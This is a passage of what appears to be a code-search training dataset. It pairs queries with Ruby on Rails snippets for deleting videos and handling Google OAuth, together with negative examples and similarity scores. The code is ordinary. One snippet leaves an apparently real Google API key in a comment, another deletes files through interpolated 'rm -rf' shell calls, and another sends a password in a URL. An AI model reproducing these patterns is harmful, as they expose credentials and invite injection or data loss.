Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end" ]
[ "0.7267848", "0.671543", "0.6669843", "0.6669843", "0.6558015", "0.6542283", "0.63800794", "0.63272005", "0.63272005", "0.6298002", "0.6298002", "0.6298002", "0.6298002", "0.6298002", "0.6298002", "0.6298002", "0.6275951", "0.6271524", "0.6219029", "0.6213495", "0.6183151", "0.6141775", "0.61094373", "0.6108574", "0.6108574", "0.6108574", "0.6108574", "0.6108574", "0.6108574", "0.6108574", "0.6108574", "0.6108574", "0.6108574", "0.6108574", "0.6108574", "0.6108574", "0.6107867", "0.60569805", "0.60548425", "0.60505915", "0.6048454", "0.6048454", "0.6048454", "0.6048454", "0.6048454", "0.60459137", "0.6038134", "0.601961", "0.59903365", "0.5966635", "0.59606063", "0.59605473", "0.5959176", "0.5922939", "0.5896029", "0.5893041", "0.58829886", "0.58697206", "0.58697206", "0.58697206", "0.586566", "0.58628", "0.58516425", "0.5848923", "0.58398575", "0.5834302", "0.5832418", "0.5829777", "0.58231837", "0.5816509", "0.58082277", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593", "0.5800593" ]
0.66321284
4
DELETE /videos/1 DELETE /videos/1.xml
def destroy @video = Video.find(params[:id]) @video.destroy respond_to do |format| format.html { redirect_to(videos_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end", "def delete_video(video_id, method = HTTP_DELETE)\n if method == HTTP_DELETE\n auth_connection method, \"/api/videos/#{video_id}.xml\"\n else\n request_xml = %{\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <vzaar-api>\n <_method>delete</_method>\n </vzaar-api>\n }\n auth_connection method, \"/api/videos/#{video_id}.xml\", request_xml\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @videofile = Videofile.find(params[:id])\n @videofile.destroy\n\n respond_to do |format|\n format.html { redirect_to(videofiles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @raw_video = RawVideo.find(params[:id])\n @raw_video.destroy\n\n respond_to do |format|\n format.html { redirect_to(raw_videos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n Video.find(params[:id]).destroy\n redirect_to \"/videos\"\n end", "def destroy\n\t\t@video = Video.find(params[:id])\n\t\t@video.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(videos_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend", "def destroy\n s3 = $S3\n bucket = s3.buckets['tubeyou.video']\n bucket.objects[@video.name].delete\n\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video_model = VideoModel.find(params[:id])\n @video_model.destroy\n\n respond_to do |format|\n format.html { redirect_to(video_models_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def deletevideos\n @video = params[:records]\n @video.each do |id|\n Video.find_by_id(id).destroy\n end\n redirect_to admin_videos_path\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to today_videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to media_videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Deleted video listing.' }\n format.json { head :no_content }\n end\n end", "def remove_videos_from_db\n Video.delete_all(\"cart_id = 1\" )\n end", "def destroy\n @c_video = CVideo.find(params[:id])\n @c_video.destroy\n\n respond_to do |format|\n format.html { redirect_to c_videos_url }\n format.json { head :no_content }\n end\n end", "def deleteEntityVideo( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/video\",params)\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n redirect_to '/lifts', notice: \"video deleted\"\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video fue eliminado correctamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to channel_videos_url }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to home_admin_path, notice: '视频删除成功!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = Video.find_by_hash_permalink_id(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @sequence = Sequence.find(params[:id])\n puts @sequence.video.title\n @video=@sequence.video\n @sequence.destroy\n\n respond_to do |format|\n format.html { redirect_to(script_videos_path(:id=>@sequence.video_id), :notice => 'Sequence deleted.') }\n format.js { render :nothing => true }\n format.xml { head :ok }\n end\n end", "def destroy\n @video.destroy\n render nothing: true, status: 200\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video excluido com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @video = self.current_user.videos.find(params[:id])\n user = @video.user.dup\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_path(user)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @evactivity = Evactivity.find(params[:id])\n @evactivity.destroy\n\n respond_to do |format|\n format.html { redirect_to(evactivities_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to user_videos_url(current_user) }\n format.json { head :no_content }\n end\n end", "def destroy\n @tv = Tv.find(params[:id])\n @tv.destroy\n\n respond_to do |format|\n format.html { redirect_to(tvs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Vídeo deletado com sucesso' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n render json: @video, :status => :ok\n end", "def destroy\n @adm_video.destroy\n respond_to do |format|\n format.html { redirect_to adm_videos_url, notice: t('videos.destroy_success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @video = @user.videos.find(params[:id])\n @video.destroy\n respond_to do |format|\n format.html { redirect_to user_videos_url(@user), notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @record_video = RecordVideo.find(params[:id])\n @record_video.destroy\n\n respond_to do |format|\n format.html { redirect_to record_videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @videocomment = Videocomment.find(params[:id])\n @videocomment.destroy\n\n respond_to do |format|\n format.html { redirect_to(videocomments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @szene = Szene.find(params[:id])\n @szene.destroy\n\n respond_to do |format|\n format.html { redirect_to(script_video_path(:id => @szene.sequence.video.id)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@parts = Participante.where(\"id_video = ?\", @video[:id])\n\t\t@parts.each do |p|\n p.destroy\n end\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'El video se ha eliminado exitosamente del catálogo.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_video }\n end\n end", "def destroy\n @community_member_video = @community_member_profile.videos.find(params[:id])\n @community_member_video.destroy\n\n respond_to do |format|\n format.html { redirect_to([:admin, @community_member_profile, :community_member_videos]) }\n format.xml { head :ok }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to project_videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\t@video_participant = VideoParticipant.find(params[:id])\n\t@video = @video_participant.video\n if @video_participant.destroy\n\t\trespond_to do |format|\n\t\t format.html { redirect_to video_path(@video) }\n\t\t format.xml { head :ok }\n\t\tend\n\telse\n\t\tredirect_to video_path(@video)\n\tend\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n deleted_url = @localvdo.video.url \n vdo_obj = Video.where(local_link: deleted_url).all\n vdo_obj.each do |vdo|\n vdo.inLocal = false\n vdo.local_link = \"\"\n vdo.save!\n end\n @localvdo.destroy\n @user = User.find(session[:user_id])\n respond_to do |format|\n format.html { redirect_to @user }\n format.json { head :no_content }\n end\n end", "def delete(video_id)\n delete_header = authorization_headers.merge({\n \"Content-Type\" => \"application/atom+xml\",\n \"Content-Length\" => \"0\",\n })\n \n delete_url = \"/feeds/api/users/#{@user}/uploads/#{video_id}\"\n \n Net::HTTP.start(base_url) do |session|\n response = session.delete(delete_url, '', delete_header)\n raise_on_faulty_response(response)\n return true\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to(movies_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to(movies_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @movie = Movie.find(params[:id])\n @movie.destroy\n\n respond_to do |format|\n format.html { redirect_to(movies_url) }\n format.xml { head :ok }\n end\n end", "def batch_destroy\n Video.destroy(params[:ids])\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to ({:action => \"index\", :palestrante_id => @palestrante.id}) }\n format.json { head :no_content }\n end\n end", "def destroy\n @movies.each do |movie|\n #@movie = Movie.find(params[:id])\n movie.destroy\n end\n\n # respond_to do |format|\n \n # format.xml { head :ok }\n # end\n end", "def destroy\n @videoo.destroy\n respond_to do |format|\n format.html { redirect_to videoos_url, notice: 'Videoo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete!(creds = {}, section = \"file\", reason = \"because\")\n BlipTV::ApiSpec.check_attributes('videos.delete', creds)\n\n reason = reason.gsub(\" \", \"%20\") # TODO write a method to handle this and other illegalities of URL\n\n if creds[:username] && !creds[:userlogin]\n creds[:userlogin] = creds[:username]\n end\n\n url, path = \"www.blip.tv\", \"/?userlogin=#{creds[:userlogin]}&password=#{creds[:password]}&cmd=delete&s=file&id=#{@id}&reason=#{reason}&skin=api\"\n request = Net::HTTP.get(url, path)\n hash = Hash.from_xml(request)\n make_sure_video_was_deleted(hash)\n end", "def destroy\n\n #論理削除\n @video.is_show = false\n @video.save\n respond_to do |format|\n format.html { redirect_to videos_url, notice: '動画情報を削除しました' }\n format.json { head :no_content }\n end\n end", "def destroy\n @medio_video.destroy\n respond_to do |format|\n format.html { redirect_to medio_videos_url, notice: 'Medio video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @event.ppts_url\n `rm -rf public/uploads/event/ppts/#{@event.id}`\n end\n if @event.video_url\n `rm -rf public/uploads/event/video/#{@event.id}`\n end\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @saved_video.destroy\n respond_to do |format|\n format.html { redirect_to saved_videos_url, notice: 'Saved video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(video_id)\n delete_header = request_headers.merge({\n \"Content-Type\" => \"application/atom+xml\",\n \"Content-Length\" => \"0\",\n })\n \n delete_url = 'http://%s/feeds/api/users/%s/uploads/%s' % [base_url, init_options[:user], video_id]\n\n response = YouTubeG.transport.send_req(request_options.merge({:method => 'delete', :url => delete_url, :headers => delete_header}))\n raise_on_faulty_response(response)\n true\n end", "def destroy\n authorize! :destroy, @videos\n Video.find(params[:id]).destroy\n redirect_to admin_videos_path\n \n end", "def destroy\n @jeux_video.create_activity :destroy, owner: current_user, read: false\n @jeux_video.destroy\n respond_to do |format|\n format.html { redirect_to jeux_videos_url, notice: 'Jeux video was successfully destroyed.' }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n end", "def destroy\n @user_video = UserVideo.find(params[:id])\n @user_video.destroy\n\n respond_to do |format|\n format.html { redirect_to user_videos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to @competition, notice: 'Video eliminado.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vtodo = Vtodo.find(params[:id])\n @vtodo.destroy\n\n respond_to do |format|\n format.html { redirect_to(vtodos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @kuaibovideo = Kuaibovideo.find(params[:id])\n @kuaibovideo.destroy\n\n respond_to do |format|\n format.html { redirect_to kuaibovideos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n verify_access_video(@video_clip, 'delete')\n @video_clip.destroy\n respond_to do |format|\n format.html { redirect_to video_clips_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7525619", "0.7525619", "0.7525619", "0.7524308", "0.7485395", "0.7438152", "0.73762953", "0.73364335", "0.7129987", "0.7118853", "0.6972403", "0.6958324", "0.69554806", "0.695143", "0.695143", "0.69233537", "0.69233537", "0.69233537", "0.69233537", "0.69233537", "0.69233537", "0.69233537", "0.69233537", "0.69233537", "0.69233537", "0.69233537", "0.69233537", "0.68813753", "0.687679", "0.68692464", "0.6856411", "0.6830394", "0.6830394", "0.6830394", "0.6827117", "0.6825681", "0.6802251", "0.67909884", "0.67907524", "0.67519146", "0.67458653", "0.6745547", "0.6744084", "0.6723809", "0.67162204", "0.6714744", "0.6714178", "0.67095965", "0.6703807", "0.6692209", "0.66844976", "0.6676984", "0.66761327", "0.6642726", "0.663976", "0.6634116", "0.6631259", "0.6619918", "0.66166234", "0.66154355", "0.6608701", "0.6608701", "0.6608701", "0.6608701", "0.6608701", "0.6608701", "0.6608701", "0.6608701", "0.6608701", "0.6608701", "0.6608701", "0.6608701", "0.66081345", "0.6605909", "0.6599237", "0.6582345", "0.65589684", "0.6545168", "0.654021", "0.6533959", "0.65286845", "0.65286845", "0.65286845", "0.6521166", "0.6512221", "0.6501227", "0.64971685", "0.64932406", "0.64840835", "0.64833504", "0.6482288", "0.64806306", "0.646027", "0.6457883", "0.6456954", "0.6444518", "0.6434529", "0.6432401", "0.6430706", "0.6424927" ]
0.7507358
4
grab google to access google for user data
def google_token x = self.authentications.find_by(provider: 'google_oauth2') return x.token unless x.nil? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def fetch_details_from_google_oauth2\n\t\t# To Do\n\t\tself.user.has_google = true\n\t\tself.user.save\n\tend", "def import_profile_from_google\n # forthcoming\n end", "def auth_google\n @attributes[:auth_google]\n end", "def get_user_info()\n return_map = nil\n if session[:google_unique] != nil && user_credentials.access_token != nil\n return_map = {}\n return_map['email'] = session[:googleemail]\n return_map['sub'] = session[:google_unique]\n return_map['useralias'] = session[:useralias]\n end\n return return_map\nend", "def google\n process_oauth_callback\n end", "def signed_on_to_google\n if current_member\n # result = google_api_request( 'plus', 'v1', 'people', 'get', { userId: current_member.uid })\n # if result.status != 200\n # sign_out\n # session[:return_to] = request.url if request.get?\n # redirect_to google_signin_url, notice: \"Your session has timed out\"\n # else\n # current_member.name = result.data.display_name\n # current_member.save\n # end\n else\n redirect_to google_signin_url\n end\n end", "def google_login\n client.obtain_user_tokens(params['code'], Rails.application.secrets.auth0_callback_url, 'google-oauth2', 'openid')['id_token']\n end", "def create_client_from_outhAccount(scope, oob_uri, user_id, oauth_cred_file)\n #oob_uri = 'urn:ietf:wg:oauth:2.0:oob'\n #user_id = 'eyemole@gmail.com'\n client_id = Google::Auth::ClientId.from_file(oauth_cred_file)\n token_store = Google::Auth::Stores::FileTokenStore.new(:file => 'tokens.yaml')\n authorizer = Google::Auth::UserAuthorizer.new(client_id, scope, token_store)\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: oob_uri )\n #Launchy.open(url)\n puts \"Open this URL in Browser and enter the code you got from browser below\"\n puts \"URL: #{url}\"\n print \"enter the code you got from browser here and press Enter: \"\n # code = gets\n code = STDIN.gets.chomp\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: oob_uri)\n end\n blogger = Google::Apis::BloggerV3::BloggerService.new\n blogger.authorization = credentials\n return blogger\nend", "def google(name: T.unsafe(nil), email: T.unsafe(nil), uid: T.unsafe(nil)); end", "def login\n if session[:token]\n reset_session \n end\n scope = 'https://www.google.com/analytics/feeds/'\n #next_url = 'http://localhost:3000/sites/select'\n next_url = 'http://greenalytics.heroku.com/sites/select'\n secure = false # set secure = true for signed AuthSub requests\n sess = true\n @authsub_link = GData::Auth::AuthSub.get_url(next_url, scope, secure, sess)\n end", "def get_user_info(credentials)\n client = Google::APIClient.new\n client.authorization = credentials\n oauth2 = client.discovered_api('oauth2', 'v2')\n result = client.execute!(:api_method => oauth2.userinfo.get) \n user_info = nil\n\n if result.success?\n user_info = result.data\n else\n puts \"An error occured: #{result.data['error']['message']}\"\n end\n\n if user_info != nil && user_info.id != nil\n return user_info\n end\n\n raise NoUserIdError, \"Unable to retrieve the user's Google ID.\"\nend", "def on_cmd_google(action)\n action.reply @web.google(action.message.sub(/^!google /, ''))\n end", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\n end", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\n end", "def google_token\n \tx = self.authentications.find_by(provider: 'google_oauth2')\n \treturn x.token unless x.nil?\t\n end", "def find_google_account(params)\n GoogleAccount.find params[:userToken]\n end", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\nend", "def authenticate_url\n \"https://accounts.google.com/o/oauth2/auth?scope=https://www.googleapis.com/auth/urlshortener&response_type=code&client_id=#{ENV['GOOGL_CLIENT_ID']}&redirect_uri=#{ENV['GOOGL_REDIRECT_URI']}&access_type=offline&include_granted_scopes=true&approval_prompt=force\"\n end", "def google\n if params[:user_type_login].eql?(\"user\")\n @user, session[:new_register] = User.find_for_google_apps_oauth(env[\"omniauth.auth\"], current_user)\n else\n @user, session[:new_register] = Bar.find_for_google_apps_oauth(env[\"omniauth.auth\"], current_bar)\n end\n session[:google_user] = env[\"omniauth.auth\"][\"user_info\"]\n session[:google_email] = env[\"omniauth.auth\"][\"email\"]\n v_uid = env[\"omniauth.auth\"][\"uid\"].split(\"?id=\").last\n session[:google_uid] = v_uid\n\n if session[:new_register]\n flash[:notice] = \"Please Insert Your data for complete your profile via Google\"\n if params[:user_type_login].eql?(\"user\")\n session[:user_type_login] = nil\n return redirect_to '/users/sign_up'\n else\n session[:user_type_login] = nil\n return redirect_to '/bars/sign_up'\n end\n end\n\n if @user.persisted?\n flash[:notice] = I18n.t \"devise.omniauth_callbacks.success\", :kind => \"Google Apps\"\n sign_in @user\n redirect_to user_root_url if params[:user_type_login].eql?(\"user\")\n redirect_to bar_root_url if params[:user_type_login].eql?(\"bar\")\n else\n session[\"devise.google_apps_data\"] = env[\"omniauth.auth\"]\n if params[:user_type_login].eql?(\"user\")\n session[:user_type_login] = nil\n return redirect_to '/users/sign_up'\n else\n session[:user_type_login] = nil\n return redirect_to '/bars/sign_up'\n end\n end\n\n end", "def google_oauth2\n # You need to implement the method below in your model (e.g. app/models/user.rb)\n @user = User.find_for_google_oauth2(request.env[\"omniauth.auth\"])\n\n if @user.persisted?\n #flash[:notice] = I18n.t \"devise.omniauth_callbacks.success\", :kind => \"Google\"\n sign_in_and_redirect @user, :event => :authentication\n else\n session[\"devise.google_data\"] = request.env[\"omniauth.auth\"]\n\n if !session['omniauth_error_return'].nil? && session['omniauth_error_return'] == 'log_in'\n redirect_to log_in_url\n else\n redirect_to sign_up_url\n end\n end\n end", "def google_oauth2\n youtube_connect\n end", "def search_get_url(user_input)\n fetch_json_from_url(GOOGLE_API_SEARCH_URL + user_input.to_s)\n end", "def get_profile(session, user_id)\n $client.authorization.update_token!(session[:token].to_hash)\n plus = $client.discovered_api('plus')\n\n Rails.logger.debug \"TokenPair: #{$client.authorization.to_yaml}\"\n result = $client.execute(\n :api_method => plus.people.get,\n :parameters => {'userId' => user_id})\n\n Rails.logger.debug \"GoogleClient: ---------------------------------> \"\n Rails.logger.debug \"GoogleClient: NM #{result.data['displayName']}\"\n Rails.logger.debug \"GoogleClient: IM #{result.data['image']['url']}\"\n Rails.logger.debug \"GoogleClient: PR #{result.data['url']}\"\n Rails.logger.debug \"GoogleClient: ---------------------------------> \"\n\n @profile = Hash.new\n @profile[:name] = result.data['displayName']\n @profile[:profile_url] = result.data['url']\n\n # Avatar sizes\n @profile[:img_url] = result.data['image']['url']\n @profile[:img_url].gsub!(/sz=\\d+$/, \"\")\n\n @profile[:img_thumb_url] = @profile[:img_url] + 'sz=100'\n @profile[:img_tiny_url] = @profile[:img_url] + 'sz=32'\n @profile[:img_badge_url] = @profile[:img_url] + 'sz=15'\n\n return @profile\n end", "def google_token\n x = self.authentications.find_by(provider: 'google_oauth2')\n return x.token unless x.nil?\n end", "def google_oauth2\nuser = User.from_omniauth(request.env[\"omniauth.auth\"])\nif user.persisted?\nflash.notice = \"Signed in Through Google!\"\nsign_in_and_redirect user\nelse\nsession[\"devise.user_attributes\"] = user.attributes\nflash.notice = \"You are almost Done! Please provide a password to finish setting up your account\"\nredirect_to new_user_registration_url\nend\nend", "def find_or_prompt_for_credentials\n client_id = Google::Auth::ClientId.from_hash(CLIENT_SECRET_HASH)\n token_store = Google::Auth::Stores::RedisTokenStore.new(:prefix => REDIS_KEY_PREFIX)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization:\"\n puts url\n\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n\n credentials\n end", "def google_token\n\t x = self.authentications.find_by(provider: 'google_oauth2')\n\t return x.token unless x.nil?\n\t end", "def google_token\n\t x = self.authentications.find_by(provider: 'google_oauth2')\n\t return x.token unless x.nil?\n\t end", "def google_token\n\t x = self.authentications.find_by(provider: 'google_oauth2')\n\t return x.token unless x.nil?\n\t end", "def google_token\n\t x = self.authentications.find_by(provider: 'google_oauth2')\n\t return x.token unless x.nil?\n\t end", "def google_token\n\t x = self.authentications.find_by(provider: 'google_oauth2')\n\t return x.token unless x.nil?\n\t end", "def google_token\n\t x = self.authentications.find_by(provider: 'google_oauth2')\n\t return x.token unless x.nil?\n\tend", "def google(query)\n # API key, engine id, and uri to make API call\n key = CSE_API_KEY\n # \"AIzaSyDpp4azZVRsBYgmjAqSI-Z-PIZG8FI-hfw\"\n 